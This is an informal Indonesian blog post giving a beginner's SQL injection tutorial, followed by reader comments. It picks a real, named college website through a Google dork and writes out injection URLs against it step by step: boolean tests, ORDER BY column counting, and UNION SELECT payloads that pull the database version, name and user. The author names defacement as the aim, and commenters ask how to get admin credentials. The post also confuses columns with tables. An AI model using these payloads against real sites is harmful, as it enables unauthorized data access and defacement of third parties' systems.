dasar SQL injection by NEWBIE! ^^

oke, walopun baru mempelajari dikit tentang SQL injection, saya pengen bahas + ngasih dikit tutor tentang ginian (alaaah...)
jadi maab kalo rada bingung baca post saya berikut...soalnya saya yang bikin juga bingung.jiakakakakak....

opo sih SQL injection teh?
hmm...SQL injection merupakan teknik eksploitasi database via remote, dgn menggunakan SQL Query (perintah2 sql) buat mengetahui data2 target...dan tujuan akhirnya DEFACE! huhu...(ga juga deng)
ya pokoknya intinya gitu dah...

terus, gimana cara ngecek SQL Injection pada sebuah web? (ngecek site yang Vulnerable)

yang paling sering dipake ato digunakan para SQL INJECTOR (baca : DEFACER...jiakakaka) adalah dgn menggunakan command "AND 1=1" dan "AND 1=2"
1. AND 1=1 (kondisi true)
2. AND 1=2 (kondisi false)

berhubung yang saya tau cuma cara ini ya tutor-nya pake ini aja ya..hehe

okeh, kita langsung coba cari target kita
umm, cari site indo aja dah....coba pake dork digoogle-nya : "berita.php?id="
ambil salah satu deh ya...

http://www.amikbalikpapan.ac.id/Berita.php?id=5

nah, coba tambahin command diatas tadi buat ngecek SQL Injection-nya...jadi gini

1. http://www.amikbalikpapan.ac.id/Berita.php?id=5 AND 1=1
2. http://www.amikbalikpapan.ac.id/Berita.php?id=5 AND 1=2

apa beda url 1 ma 2? gini...
dalam kondisi AND 1=1 (true),dgn command ini halaman sitenya tidak akan mengalami perubahan, nah kalo pake kondisi AND 1=2 (false) halaman sitenya pasti akan berubah, biasanya sih bakal muncul pesan error gitu...nah kalo ada errorr-nya gitu berarti site ntu bisa di-eksploitasi dengan pake SQL Injection.
umm..untuk command false, biasanya bisa pake penambahan ' pada akhir url...biar lebih gampang. contohnya kaya gini :

http://www.amikbalikpapan.ac.id/Berita.php?id=5'

Next...

gimana cara cari jumlah table database web yang akan exploitasi ma sql injection?

yang saya tau aja ya...biasanya pake command order by
angka dibelakang command order by merupakan jumlah table-nya, kita cari satu per satu...mulai dari angka 1 :D, contohnya gini...

http://www.amikbalikpapan.ac.id/Berita.php?id=5 ORDER BY 1/*

keterangan :
/* ==> tanda buat pengakhir perintah,kadang juga bisa diganti dengan --

setelah di enter ternyata ga ada perubahan ini artinya halamannya masih dalam kondisi true, itu tandanya table site ini lebih dari 1. blom dapet jumlah tepat table-nya kan? langsung coba aja angka 10

http://www.amikbalikpapan.ac.id/Berita.php?id=5 ORDER BY 10/*

wew..setelah dienter,halamannya error a.k.a berubah, ini berati site dlm kondisi false! apa artinya? tadi ambil angka 1 true....angka 10 false, berati jumlah table site ini antara 1-10 toh? hehe..bener ga? langkah selanjutnya? cari satu persatu dari 8 angka sisanya! :D

dicoba2 akhirnya dapet ni "batas"-nya...

1. http://www.amikbalikpapan.ac.id/Berita.php?id=5 ORDER BY 5/*
2. http://www.amikbalikpapan.ac.id/Berita.php?id=5 ORDER BY 6/*

yang pake angka 5, kondisi site masih true...sedangkan pas kita coba naekin ke 6, berubah jadi false!
ini membuktikan kalo jumlah database site target adalah 5! kita coba ganti perintahnya jadi union select....

1. http://www.amikbalikpapan.ac.id/Berita.php?id=5 UNION SELECT 1,2,3,4,5/*
2. http://www.amikbalikpapan.ac.id/Berita.php?id=5 UNION SELECT 1,2,3,4,5,6/*

setelah dicoba 1 per satu, kondisi true pada URL pertama dan kondisi false pada URL kedua kan?
terbukti! hehe...

next....magic number!

magic number adalah angka2 yang keluar pada halaman site, angka2 ini dipake buat disusupi SQL Query (command2 SQL).
nah, trus gimana cara dapetin magic numbernya?
salah satu caranya dengan nambahin tanda - didepan angka setelah variabel. contoh diatas yaitu angka 5. [Berita.php?id=-5]

http://www.amikbalikpapan.ac.id/Berita.php?id=-5 UNION SELECT 1,2,3,4,5/*

enter dah!

angka2 berapa ajah yang keluar pada halaman site?
ada angka 2, 3 dan 4 kan?
nah...jadi angka2 ini yang akan kita pakai untuk memasukkan SQL Query [perintah2 SQL], dan dimasukkan + digantikan pada url tabel URL dari union select! ngerti? langsung aja deh...hehe

umm...ni beberapa SQL Query yg bakal dipake dan kegunaannya...

version() --> menampilkan versi dari database target
database() --> menampilkan database yang berada dalam target
user() --> menampilkan user yang berada dalam target


nah, buat cari versi, database dan user dari target...tinggal kita masukin deh...
dari yang tadinya :

http://www.amikbalikpapan.ac.id/Berita.php?id=-5 UNION SELECT 1,2,3,4,5/*

diganti jadi...

http://www.amikbalikpapan.ac.id/Berita.php?id=-5 UNION SELECT 1,version(),database(),user(),5/*

ngerti ga perubahannya? jadi gini...
angka yang keluar dari halaman site target tadi kan 2,3 dan 4. nah, istilah kasarnya..disinilah celah yang terbuka buat nambahin SQL Query! buat mengetahui data yang kita inginkan.
jadi magic number yang udah dikeluarin tadi diganti dengan perintah2 SQL...begitu.

langkah selanjutnya? enter...dan liat apa yang ada disitu..hehe



ya...segitu aja beberapa dasar dari SQL Injection dari sayah, blom berani bikin tutor buat bener2 ngebuka data tabel,data user+pass target dan tentu ngedeface-nya...hehe, blom pinter!

moga berguna....tengkyu.
maaf kalo banyak kesalahan dan ketidakjelasan, maklum..mempelajari SQL Injection baru 3 hari yang lalu.hehehe...

thx to :
om google
mas wikipedia
spesial thx to om inc0mp13t3

Wassalam....

3 komentar:

Teatzo mengatakan...

Mantab Bangetz boz.. hehe..

pingin belajar kayak ginian. hehe
btw, gimana cara liat pass ama usernamenya admin om..?? ajarin dunk ^^

kurosystem mengatakan...

cara liat user ma pass?? ntar deh...insya Allah bikin tutor lagi kalo banyak yang request...jiakakkakaka

Anonymous mengatakan...

ajarin dunk boz....

Posting Komentar